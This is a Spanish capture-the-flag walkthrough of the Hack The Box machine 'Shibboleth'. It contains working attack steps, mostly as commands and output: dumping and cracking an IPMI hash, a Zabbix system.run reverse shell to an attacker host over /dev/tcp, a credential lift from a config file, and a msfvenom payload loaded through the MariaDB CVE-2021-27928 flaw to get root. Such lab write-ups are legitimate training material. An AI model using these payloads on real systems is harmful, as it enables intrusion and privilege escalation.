Shibboleth
Dificultad: Medium - OS: Linux
Enumeración de puertos/servicios TCP y UDP
┌──(root㉿kali)-[/home/kali/Documents/HTB]
└─# nmap -sCV --open -T4 -v -n 10.10.11.124
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.41
|_http-title: Did not follow redirect to http://shibboleth.htb/
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
Service Info: Host: shibboleth.htb
┌──(root㉿kali)-[/home/kali/Documents/HTB/SHIBBOLETH]
└─# nmap -sCVU --open -T4 -v -n 10.10.11.124
PORT STATE SERVICE VERSION
42/udp open|filtered nameserver
623/udp open asf-rmcp
1043/udp open|filtered boinc
1046/udp open|filtered wfremotertm
3130/udp open|filtered squid-ipc
3659/udp open|filtered apple-sasl
Agregamos el dominio a nuestro /etc/hosts
┌──(root㉿kali)-[/home/kali/Documents/HTB/SHIBBOLETH]
└─# echo "10.10.11.124 shibboleth.htb" >> /etc/hosts
Enumeración Web
En la página web no hay nada relevante, pero si fuzzeamos subdominios con ffuf vamos a encontrar algunas cosas interesantes:
┌──(root㉿kali)-[/home/kali/Documents/HTB/SHIBBOLETH]
└─# ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://shibboleth.htb/ -H "Host: FUZZ.shibboleth.htb" -fw 18
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://shibboleth.htb/
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
:: Header : Host: FUZZ.shibboleth.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response words: 18
________________________________________________
monitor [Status: 200, Size: 3689, Words: 192, Lines: 30, Duration: 430ms]
monitoring [Status: 200, Size: 3689, Words: 192, Lines: 30, Duration: 242ms]
zabbix [Status: 200, Size: 3689, Words: 192, Lines: 30, Duration: 237ms]
Agregamos el subdominio y nos vamos a encontrar con un panel de login de Zabbix.
┌──(root㉿kali)-[/home/kali/Documents/HTB/SHIBBOLETH]
└─# echo "10.10.11.124 zabbix.shibboleth.htb" >> /etc/hosts

Si no conoces esta herramienta de monitoreo te recomiendo leer el siguiente artículo:
Zabbix: Plataforma de Monitoreo Abierto para Infraestructuras Críticas
Como no tenemos las credenciales para entrar al dashboard de Zabbix vamos a aprovechar que está el puerto 623 abierto para buscar algún hash IPMI con el siguiente módulo de msfconsole. Este módulo de Metasploit se utiliza para extraer hashes de autenticación de un servicio IPMI expuesto en un host.
msf6 > use auxiliary/scanner/ipmi/ipmi_dumphashes
msf6 auxiliary(scanner/ipmi/ipmi_dumphashes) > set rhosts 10.10.11.124
rhosts => 10.10.11.124
msf6 auxiliary(scanner/ipmi/ipmi_dumphashes) > exploit
[+] 10.10.11.124:623 - IPMI - Hash found: Administrator:0bcab049820100008bb18de98ee9fddacd95f14ef80ae76551753d7151fab21c6bd64f97e6e75fc4a123456789abcdefa123456789abcdef140d41646d696e6973747261746f72:7f8d97b5d131cb88c259472811cbf22a39047302
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
use auxiliary/scanner/ipmi/ipmi_dumphashes
→ seleccionamos el módulo. Este módulo escanea una IP y se comunica con el BMC (Baseboard Management Controller) del sistema, el cual se comunica por UDP puerto 623 usando el protocolo RMCP/IPMI.
set rhosts 10.10.11.124
→ seteamos la ip del target
Cracking Hash
Conseguimos un hash para crackear con hashcat, antes debemos guardarlo en un archivo.txt:
┌──(root㉿kali)-[/home/kali/Documents/HTB/SHIBBOLETH]
└─# hashcat -m 7300 hash.txt /usr/share/wordlists/rockyou.txt
Las credenciales son Administrator:ilovepumkinpie1
Ahora si podemos ingresar al dashboard de Zabbix

Movimiento lateral (Zabbix ➝ ipmi-svc)
Para la reverse shell nos vamos a guiar del siguiente articulo https://blog.zabbix.com/zabbix-remote-commands/7500/
Básicamente lo que hay que hacer es ir a Configuration > Hosts > Items > Create item y alli usar el elemento system.run[ ]
para agregar el comando que mandara la conexión a nuestro equipo atacante


Solamente seteamos el valor Name y Key. En Key vamos a agregar este comando (en ip_atacante
ponen la ip de su equipo y en port_listener
el puerto de escucha que van a usar con netcat):
system.run[/bin/bash -c "/bin/bash -i >& /dev/tcp/ip_atacante/port_listener 0>&1",nowait]

Usamos Add para añadir el item y levantamos el listener en kali (la conexión entrante va a tardar unos minutos):
┌──(root㉿kali)-[/home/kali/Documents/HTB/SHIBBOLETH]
└─# nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.10.14.7] from (UNKNOWN) [10.10.11.124] 39056
bash: cannot set terminal process group (915): Inappropriate ioctl for device
bash: no job control in this shell
zabbix@shibboleth:/$ python3 -c "import pty;pty.spawn('/bin/bash')"
python3 -c "import pty;pty.spawn('/bin/bash')"
Para que no se corte la conexión vamos a usar este comando que nos da una sesión más estable e interactiva:
python3 -c "import pty;pty.spawn('/bin/bash')"
python3 -c
: Ejecuta un comando corto directamente desde la línea de comandos con Python 3."import pty; pty.spawn('/bin/bash')"
: Este pequeño script de Python hace lo siguiente:import pty
: importa el módulopty
de Python, que permite manipular pseudo-terminales.pty.spawn('/bin/bash')
: crea un pseudo-terminal interactivo para ejecutar/bin/bash
.
Otra opción para obtener una shell más completa es con los siguientes comandos (esta opción tiene más lag):
1-.script /dev/null -c bash
2-.Pulsamos CTRL+Z
3-.stty raw -echo; fg
4-.reset xterm
5-.export TERM=xterm SHELL=bash
6-.stty rows 14 columns 135
El paso siguiente es buscar más usuarios en el sistema y para ello vamos a utilizar dos comandos claves en la etapa de recoleccion de informacion:
zabbix@shibboleth:/usr$ cat /etc/passwd | grep -e 'sh'
cat /etc/passwd | grep -e 'sh'
root:x:0:0:root:/root:/bin/bash
ipmi-svc:x:1000:1000:ipmi-svc,,,:/home/ipmi-svc:/bin/bash
zabbix@shibboleth:/usr$ grep "sh$" /etc/passwd
grep "sh$" /etc/passwd
root:x:0:0:root:/root:/bin/bash
ipmi-svc:x:1000:1000:ipmi-svc,,,:/home/ipmi-svc:/bin/bash
zabbix@shibboleth:/usr$ su ipmi-svc
su ipmi-svc
Password: ilovepumkinpie1
ipmi-svc@shibboleth:/usr$ locate user.txt
locate user.txt
locate: warning: database ‘/var/cache/locate/locatedb’ is more than 8 days old (actual age is 1286.7 days)
/home/ipmi-svc/user.txt
ipmi-svc@shibboleth:/usr$ cat /home/ipmi-svc/user.txt
cat /home/ipmi-svc/user.txt
81b7c***************************
Encontramos al usuario ipmi-svc
y reutilizamos la contraseña de Zabbix para entrar a su sesión: ilovepumkinpie1
Ahora podemos chequear, por ejemplo, cuáles son las conexiones de red activas y los puertos en escucha
ipmi-svc@shibboleth:/$ netstat -tnlp
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:10050 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:10051 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -
tcp6 0 0 :::10050 :::* LISTEN -
tcp6 0 0 :::10051 :::* LISTEN -
tcp6 0 0 :::80 :::* LISTEN -
Parametros de netstat:
-t
: muestra conexiones TCP-u
: muestra conexiones UDP (opcional)-n
: muestra direcciones IP y puertos en formato numérico (sin resolución DNS)-l
: muestra solo sockets en escucha (listening)-p
: muestra el PID y el nombre del proceso que está usando el socket
Está el puerto 3306 abierto en localhost, esto quiere decir que hay una base de datos interna donde podríamos encontrar más usuarios y credenciales. Como se trata de una máquina que usa Zabbix lo más lógico es que en el archivo zabbix_server.conf
encontremos las credenciales para ingresar a la base de datos:
ipmi-svc@shibboleth:/usr$ cat /etc/zabbix/zabbix_server.conf | grep DBPassword
cat /etc/zabbix/zabbix_server.conf | grep DBPassword
### Option: DBPassword
DBPassword=bloooarskybluh
ipmi-svc@shibboleth:/usr$ cat /etc/zabbix/zabbix_server.conf | grep DBUser
cat /etc/zabbix/zabbix_server.conf | grep DBUser
### Option: DBUser
# DBUser=
DBUser=zabbix
Efectivamente están allí las credenciales, esto es algo que siempre se puede encontrar por defecto si el servidor fue instalado y configurado por default, para ver esto en detalle podes leer el siguiente artículo:
Escalada de Privilegios (MySQL Exploitation) CVE-2021-27928
Notamos que, al chequear la versión del mysql, este posee una vulnerabilidad ya registrada: CVE-2021-27928
ipmi-svc@shibboleth:/usr$ mysql --version
mysql --version
mysql Ver 15.1 Distrib 10.3.25-MariaDB, for debian-linux-gnu (x86_64) using readline 5.2
Para explotar esta vulnerabilidad y obtener una nueva reverse shell desde mysql vamos a seguir estos pasos:
1) Seteamos un Payload con la extensión .so
en msfvenom con nuestra IP y el puerto que estará en escucha:
┌──(root㉿kali)-[/home/kali/Documents/HTB/SHIBBOLETH]
└─# msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.7 LPORT=8888 -f elf-so -o shell.so
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 74 bytes
Final size of elf-so file: 476 bytes
Saved as: shell.so
2) Levantamos un servidor desde el directorio donde se encuentra el payload
┌──(root㉿kali)-[/home/kali/Documents/HTB/SHIBBOLETH]
└─# php -S 10.10.14.7:8000
[Wed Apr 23 23:53:40 2025] PHP 8.4.5 Development Server (http://10.10.14.7:8000) started
[Wed Apr 23 23:54:11 2025] 10.10.11.124:46002 Accepted
[Wed Apr 23 23:54:11 2025] 10.10.11.124:46002 [200]: GET /shell.so
[Wed Apr 23 23:54:11 2025] 10.10.11.124:46002 Closing
3) Descargamos el payload desde el equipo objetivo (chequear que nos encontramos en el directorio del usuario ipmi-svc)
ipmi-svc@shibboleth:/$ cd /home/ipmi-svc
ipmi-svc@shibboleth:~$ pwd
/home/ipmi-svc
ipmi-svc@shibboleth:~$ wget http://10.10.14.7:8000/shell.so
--2025-04-24 04:47:22-- http://10.10.14.7:8000/shell.so
Connecting to 10.10.14.7:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 476 [application/octet-stream]
Saving to: ‘shell.so’
shell.so 0%[ shell.so 100%[============================================================>] 476 --.-KB/s in 0s
2025-04-24 04:47:22 (49.7 MB/s) - ‘shell.so’ saved [476/476]
ipmi-svc@shibboleth:~$ ls
shell.so user.txt
Nos ponemos en escucha con netcat desde el equipo kali y, en el equipo objetivo ingresamos a la base de datos con las credenciales zabbix:bloooarskybluh
y activamos el payload con el comando vulnerable: SET GLOBAL wsrep_provider="";
ipmi-svc@shibboleth:~$ mysql -u zabbix -p -D zabbix
Enter password: bloooarskybluh
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 406
Server version: 10.3.25-MariaDB-0ubuntu0.20.04.1 Ubuntu 20.04
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MariaDB [zabbix]> SET GLOBAL wsrep_provider="/home/ipmi-svc/shell.so";
ERROR 2013 (HY000): Lost connection to MySQL server during query
Y asi logramos capturar la sesión de root:
┌──(root㉿kali)-[/home/kali/Documents/HTB/SHIBBOLETH]
└─# nc -lnvp 8888
listening on [any] 8888 ...
connect to [10.10.14.7] from (UNKNOWN) [10.10.11.124] 53430
whoami
root
python3 -c "import pty;pty.spawn('/bin/bash')"
root@shibboleth:/var/lib/mysql# cat /root/root.txt
cat /root/root.txt
914679**************************
Last updated